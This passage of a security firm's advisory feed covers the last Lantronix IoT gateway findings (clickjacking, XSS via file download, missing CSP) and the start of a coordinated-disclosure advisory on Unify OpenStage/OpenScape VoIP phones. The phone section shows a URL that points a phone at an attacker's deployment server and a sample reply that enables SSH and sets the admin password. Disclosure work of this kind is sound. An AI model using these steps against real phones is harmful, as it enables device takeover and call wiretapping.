&lt;li&gt;&lt;p&gt;Check if a new version of TLS or TLS-PSK could be offered to customers, which offers a full solution with many security aspects covered.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="http-digest-authentication-prevents-logout"&gt;
&lt;h2&gt;5. HTTP digest authentication prevents logout&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1, 0.0 Information&lt;/pre&gt;
&lt;section id="summary-4"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The used authentication mechanism on the Lantronix administrative web interface has disadvantages such as no working logout mechanism.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-4"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Attackers are more likely to find an authenticated browser on a compromised machine, as a logout from the Lantronix web interface is only possible by closing the browser completely.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-4"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;The Lantronix IoT gateway can use HTTP basic, digest or no authentication. HTTP digest and basic authentication is handled by the browser and there is usually no logout possible (except for closing the browser).&lt;/p&gt;
&lt;p&gt;HTTP digest authentication is only providing little benefit over HTTP basic authentication. The much more important factor is the usage of TLS on the web interface in any case. HTTP digest authentication is weak as it uses MD5, which is a password hashing algorithm where very fast password cracking approaches are available and therefore the strength of the password has to be very high.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-4"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker first has to compromise a machine where a login to the Lantronix web interface took place or be in a MITM position to exploit the issue.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-4"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Provide a stronger authentication method on the web interface.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="clickjacking"&gt;
&lt;h2&gt;6. Clickjacking&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N, 4.7 Medium&lt;/pre&gt;
&lt;section id="summary-5"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The website is not protected against Clickjacking.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-5"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker could load the Lantronix web interface in an iframe and make the iframe invisible, forwarding clicks by the user to the Lantronix web interface and therefore manipulate the user into taking undesired actions on the Lantronix IoT gateway's web interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-5"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;The Lantronix web interface does not set the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;X-Frame-Options&lt;/span&gt;&lt;/code&gt; or &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Security-Policy&lt;/span&gt;&lt;/code&gt; header that would prevent clickjacking.&lt;/p&gt;
&lt;p&gt;An attacker-controlled website can load the Lantronix website in an iframe.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-5"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker has to lure a victim who is already logged-in on the Lantronix IoT gateway onto an attacker controlled-website. The attacker has to know the URL/IP of the Lantronix web interface for the attack.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-5"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Set the HTTP header &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Security-Policy&lt;/span&gt;&lt;/code&gt; and prevent framing or use the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;X-Frame-Options&lt;/span&gt;&lt;/code&gt; header.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="authenticated-stored-cross-site-scripting-xss-via-file-download"&gt;
&lt;h2&gt;7. Authenticated Stored Cross-Site Scripting (XSS) via File-Download&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1, 0.0 Information&lt;/pre&gt;
&lt;section id="summary-6"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The file download of the Lantronix web interface is affected by a Cross-Site Scripting issue.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-6"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker can mainly attack other users of the web interface, as the attacked user has to be able to download a file on the web interface. No CVE has been assigned to this vulnerability yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-6"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;The Lantronix web interface does not set the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Disposition&lt;/span&gt;&lt;/code&gt; header, which would instruct the browser to download the file rather than to interpret it in the browser. The &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Type&lt;/span&gt;&lt;/code&gt; header is missing as well, forcing the browser to guess the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Type&lt;/span&gt;&lt;/code&gt; of every downloaded file:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTTP"&gt;&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-1" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-1"&gt;&lt;/a&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/fs?file=%2Ftest.html&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-2" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-2"&gt;&lt;/a&gt;&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-3" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-3"&gt;&lt;/a&gt;&lt;span class="na"&gt;Cache-Control&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;max-age=0&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-4" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-4"&gt;&lt;/a&gt;&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Basic REDACTED&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-5" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-5"&gt;&lt;/a&gt;&lt;span class="na"&gt;Upgrade-Insecure-Requests&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;1&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-6" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-6"&gt;&lt;/a&gt;&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;http://192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-7" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-7"&gt;&lt;/a&gt;&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-8" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-8"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;gzip, deflate&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-9" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-9"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Language&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;en-GB,en;q=0.9&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-10" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-10"&gt;&lt;/a&gt;&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;close&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-11" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-11"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*/*&lt;/span&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-12" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-12"&gt;&lt;/a&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-13" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-13"&gt;&lt;/a&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-14" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-14"&gt;&lt;/a&gt;HTTP/1.1 200 Ok
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-15" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-15"&gt;&lt;/a&gt;Server: Lantronix Web Manager
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-16" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-16"&gt;&lt;/a&gt;Date: Thu, 07 Sep 2023 12:01:41 GMT
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-17" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-17"&gt;&lt;/a&gt;Content-Length: 65
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-18" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-18"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-19" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-19"&gt;&lt;/a&gt;
&lt;a id="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-20" name="rest_code_71ffcd13dda44a81ab68f1938dfef7f5-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71ffcd13dda44a81ab68f1938dfef7f5-20"&gt;&lt;/a&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;this is just a little html&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Therefore, the browser will interpret HTML files as HTML. This means an attacker who can convince another user on the Lantronix web interface to download a file could execute arbitrary JavaScript in the context of that user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-6"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker would need to attack a user who is already logged-in and at the same time the attacker has to be able to upload files to the Lantronix device. This precondition under normal circumstances is unlikely.&lt;/p&gt;
&lt;p&gt;However, by combining this issue with the Cross-Site Request Forgery issue (see finding 1), an attacker could more easily construct a working exploit. In this case the preconditions of the Cross-Site Request Forgery apply instead.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-6"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Set the HTTP response header &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Disposition:&lt;/span&gt; attachment&lt;/code&gt; in the response and therefore instruct the browser to download the file instead of previewing it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set a correct &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Type&lt;/span&gt;&lt;/code&gt; HTTP response header.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Prevent upload of file extensions that could lead to XSS.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="missing-content-security-policy"&gt;
&lt;h2&gt;8. Missing Content Security Policy&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1, 0.0 Information&lt;/pre&gt;
&lt;section id="summary-7"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;There is no policy for the Cross-site Scripting (XSS) prevention feature Content Security Policy (CSP).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-7"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;The policy could prevent XSS if an XSS occurs on the website.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-7"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;No Content Security Policy is set by the Lantronix administrative web interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-7"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs to find a XSS issue first to be able to exploit the issue that the CSP is missing.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-7"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;change the website to not require inline JavaScript or to use a nonce or hash-based approach that also allows to remove the unsafe-inline keyword. Afterwards a strong CSP can be put in place.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Firmware version 8.5.0.0R1 released on 17 November 2023 includes the following information regarding fixes in the release notes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;LEG-447 Authenticated Command Injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LEG-442 HTTP digest authentication prevents logout&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lantronix released a firmware update on February 07, 2024 that fixes:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;Clickjacking&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Missing authentication on AES-encrypted connection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Authenticated Stored Cross-Site Scripting (XSS) via File-Download&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is currently no plan to fix:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;Cross-Site Request Forgery&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Missing Content Security Policy&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vulnerable old components used in Lantronix software&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/</guid><pubDate>Mon, 08 Jan 2024 09:23:00 GMT</pubDate></item><item><title>Remote code execution and elevation of local privileges in Mitel Unify OpenStage and OpenScape VoIP phones</title><link>https://www.pentagrid.ch/de/blog/rce-and-local-root-in-openstage-and-openscape-phones/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/202312_unify_framebuffer.jpg"&gt;&lt;/figure&gt; &lt;p&gt;During a research project, Pentagrid identified multiple vulnerabilities in the OpenStage and OpenScape VoIP phone series. The combination of insecure defaults and implementation weaknesses allows a remote compromise and the elevation of privileges for a network-local attacker on phones with an unhardened default configuration. Compromising a phone does not only allow to wiretap phone calls, but could also be abused to access microphones for listening to rooms. The vulnerabilities affect a wide range of devices. Pentagrid assumes that many small companies don't use a hardened configuration and are likely affected.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;OpenStage and OpenScape are a phone series brand originally developed by Siemens. In 2013, Siemens' devision for enterprise communication was rebranded to Unify. Unify was sold to Atos in 2016, a company that is the &lt;a class="reference external" href="https://unify.com/en/2023/news_2023_01_24/atos-enters-into-exclusive-negotiations-with-mitel"&gt;"European number one in cybersecurity"&lt;/a&gt;. During the coordinated disclosure, Atos sold Unify to Mitel.&lt;/p&gt;
&lt;p&gt;OpenStage and OpenScape phones provide an interface, which is named &lt;a class="reference external" href="https://wiki.unify.com/wiki/OpenStage_WPI"&gt;Work Point Interface (WPI)&lt;/a&gt;. This is a web-based service on the phones, where a client and the WPI exchange XML messages via HTTPS for machine to machine communication. This WPI is accessible via TCP port 8085 on the phone side. If a customer operates a large set of phones, then the the customer likely uses a deployment tool. This is called Deployment Service (DLS) or Deployment Service Light (DLI). Additionally, the phones have a web-based management (WBM) interface on port 80 and 443.&lt;/p&gt;
&lt;p&gt;In the default configuration, the Workpoint Interface does not use authentication and the phones do not verify the DLS/DLI. Any deployment tool can connect the phone to send a configuration. The DLS protocol is public and can be found via document sharing platforms under the title "OpenStage / OpenScape Desk Phone IP Provisioning Interface" with the document ID A31003-S2000-R102-16-7620, which was published 2016. This workpoint interface is used here for the initial access. Furthermore, Pentagrid identified local vulnerabilities, which an attacker can use for privilege escalation.&lt;/p&gt;
&lt;p&gt;OpenStage and OpenScape phones are Linux-based systems and quite popular in Germany. They are used in banks and public authorities. Getting initial access on OpenStage HFA phones was mentioned &lt;a class="reference external" href="https://wikileaks.org/ciav7p1/cms/page_524426.html"&gt;in the Vault 7 leak in 2013&lt;/a&gt;.&lt;/p&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-08-20: Initial contact of Atos Unify via &lt;a class="reference external" href="mailto:obso@atos.net"&gt;obso@atos.net&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-24: Pentagrid provided the preliminary advisory and further details.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-25: Atos replied that they will work on resolving the issues and inform about the progress.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-19: Phone call with product security officer about the current status and Atos' adivsory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-19: Atos provided a version 0.3 of the advisory to Pentagrid.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-25: Call with Unify leader of the product managment and product security officer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-20: Planned release date according to 90 days period.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-27: Agreed prolongation of the release date.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-08: Deferred release date to be in line with the Unify publication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-08: Pentagrid published this advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-08: Unify communicated a delay of the Unify advisory. It is expected for the 2023-12-13.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-11: Unify publishes &lt;a class="reference external" href="https://networks.unify.com/security/advisories/OBSO-2312-01.pdf"&gt;OBSO-2312-01&lt;/a&gt;. Updated references to the advisory.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-wpi-allows-enabling-secure-shell-and-resetting-admin-password"&gt;
&lt;h2&gt;1.  Unauthenticated WPI allows enabling Secure Shell and resetting admin password&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 8.8 High&lt;/pre&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 40  Version 3.5.21.0000 (Released: 2020-09-21)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 80  Version 3.3.24.0000 (Released: 2014-10-10)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.9.5.0002&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.9.0001&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.6.0000&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.11.0000&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;By default, the Work Point Interface on the phone does not verify the deployment service and there is no authentication mechanism. Hence, any client implementing a deployment service can connect a phone and change configuration. A remote attacker can enable the Secure Shell feature on the phone by abusing the unauthenticated Workpoint Interface. It is possible to set an attacker-defined password for the admin user, even if there was a password defined. The attacker only has to be in the same network. The WPI is active by default.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;The attacker is able to set the admin user’s password to a defined valued, enable SSH and is able to connect to the phone as user admin.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;Each phone has a Work Point Interface enabled. It is a remote management interface and this interface is accessible via the phone’s TCP port 8085. The port uses TLS for encryption. A maintenance tool can connect to a phone’s WPI interface and vice versa a phone can connect a DLS server.
An attacker can prompt the phone to contact a malicious DLS server. Therefore, an attacker sends a HTTP GET request to the phone’s web interface using this URL format:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://TARGETPHONEIP:443/contact_dls.html/ContactDLS?ContactMe=true&amp;amp;dls_ip_addr=MALICIOUSSERVER&amp;amp;dls_ip_port=MALICIOUSPORT&lt;/pre&gt;
&lt;p&gt;The web interface on port 80 and 443 is enabled by default. It is also possible to send a plain HTTP GET request to the DLS interface on Port 8085:&lt;/p&gt;
&lt;pre class="literal-block"&gt;http://TARGETPHONEIP:8085/contact_dls.html/ContactDLS?ContactMe=true&amp;amp;dls_ip_addr=MALICIOUSSERVER&amp;amp;dls_ip_port=MALICIOUSPORT&lt;/pre&gt;
&lt;p&gt;The phone then connects to the given DLS server with some configuration information and a nonce value as shown in the following snippet:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /DeploymentService/LoginService HTTP/1.1
Host: XXXXXXXX:XXXX
Cookie: PHPSESSID=g75hrag2ksves20dbar471b8v5; path=/
Content-Type: text/xml
Content-Length: 1957
Connection: close

&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;
&amp;lt;WorkpointMessage
     xmlns="http://www.siemens.com/DLS"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="http://www.siemens.com/DLS"&amp;gt;
     &amp;lt;Message nonce="D5AFD7A47752175FF354867D94A61AE0" maxItems="-1"&amp;gt;
             &amp;lt;ReasonForContact&amp;gt;solicited&amp;lt;/ReasonForContact&amp;gt;
             &amp;lt;ItemList&amp;gt;
                     &amp;lt;Item name="device-type"&amp;gt;OpenScape Desk Phone CP210&amp;lt;/Item&amp;gt;
                     &amp;lt;Item name="related-device-type"&amp;gt;OpenScape Desk Phone CP210&amp;lt;/Item&amp;gt;
                     &amp;lt;Item name="gigabit-ethernet-enabled"&amp;gt;true&amp;lt;/Item&amp;gt;
                     […]&lt;/pre&gt;
&lt;p&gt;The malicious DLS server replies with an XML message that prompts the phone to enable SSH. The nonce value sent by the phone must be included in this XML message. Furthermore, the admin user’s password is forced to an attacker-known value, which is possible within the same message. An example for such a message is given below:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.0 200 OK
Content-length: 323

&amp;lt;DLSMessage&amp;gt;
     &amp;lt;Message nonce="7AA535AE3483E8380B9338C733D6A934"&amp;gt;
             &amp;lt;Action&amp;gt;WriteItems&amp;lt;/Action&amp;gt;
     &amp;lt;/Message&amp;gt;
     &amp;lt;ItemList&amp;gt;
             &amp;lt;Item name="ssh-enable"&amp;gt;true&amp;lt;/Item&amp;gt;
             &amp;lt;Item name="ssh-password"&amp;gt;123456&amp;lt;/Item&amp;gt;
             &amp;lt;Item name="ssh-timer-connect"&amp;gt;10&amp;lt;/Item&amp;gt;
             &amp;lt;Item name="ssh-timer-session"&amp;gt;60&amp;lt;/Item&amp;gt;
     &amp;lt;/ItemList&amp;gt;
&amp;lt;/DLSMessage&amp;gt;&lt;/pre&gt;
&lt;p&gt;The figure below illustrates the message flow.&lt;/p&gt;
&lt;img alt="Message flow between Phone and DLS." class="align-center" src="https://www.pentagrid.ch/images/202312_unify_message_flow.png"&gt;
